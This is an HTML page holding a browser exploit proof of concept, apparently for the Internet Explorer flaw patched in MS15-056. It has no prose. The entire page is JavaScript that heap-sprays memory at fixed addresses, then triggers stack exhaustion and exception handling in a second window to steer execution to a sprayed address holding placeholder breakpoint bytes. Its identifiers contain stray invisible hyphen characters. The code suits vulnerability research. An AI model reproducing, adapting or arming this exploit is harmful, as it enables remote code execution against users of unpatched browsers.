ms15-056.html

<!DOCTYPE html>
<html>
<script src="String.js"></script>
<script src="spray­Heap.js"></script>
<script>
function stack­Overflow­High­On­Stack()
{
    stack­Overflow­High­On­Stack.apply(0, new Array(0x2000));
}
function attack(p­Target)
{
    var ax­Args = [];
    while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1);
    exception­Low­On­Stack­With­Spray();
    function exception­Low­On­Stack­With­Spray()
    {
		try
		{
			(function(){}).apply(0, ax­Args);
		}
		catch (e)
		{
			throw 0;
		}
		exception­Low­On­Stack­With­Spray.apply(0, ax­Args);
    }
}
var p­Spray­Start­Address          = 0x09000000;
var d­Heap­Spray­Template = {};
var p­Target                     = 0x28000201;
var p­Shellcode                  = 0x28000300;
d­Heap­Spray­Template[p­Target]     = p­Shellcode;
d­Heap­Spray­Template[p­Shellcode]  = 0x­CCCCCCCC;
window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template);
window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address);
var o­Window = window.open("about:blank");
function prepare()
{
	window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count);
	for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++)
	{
		as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length);
	}
}
o­Window.eval("(" + prepare + ")();");
try
{
	String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})"));
}
catch(e)
{
	o­Window.eval("(" + attack + ")(" + p­Target + ")");
}
</script>
</html>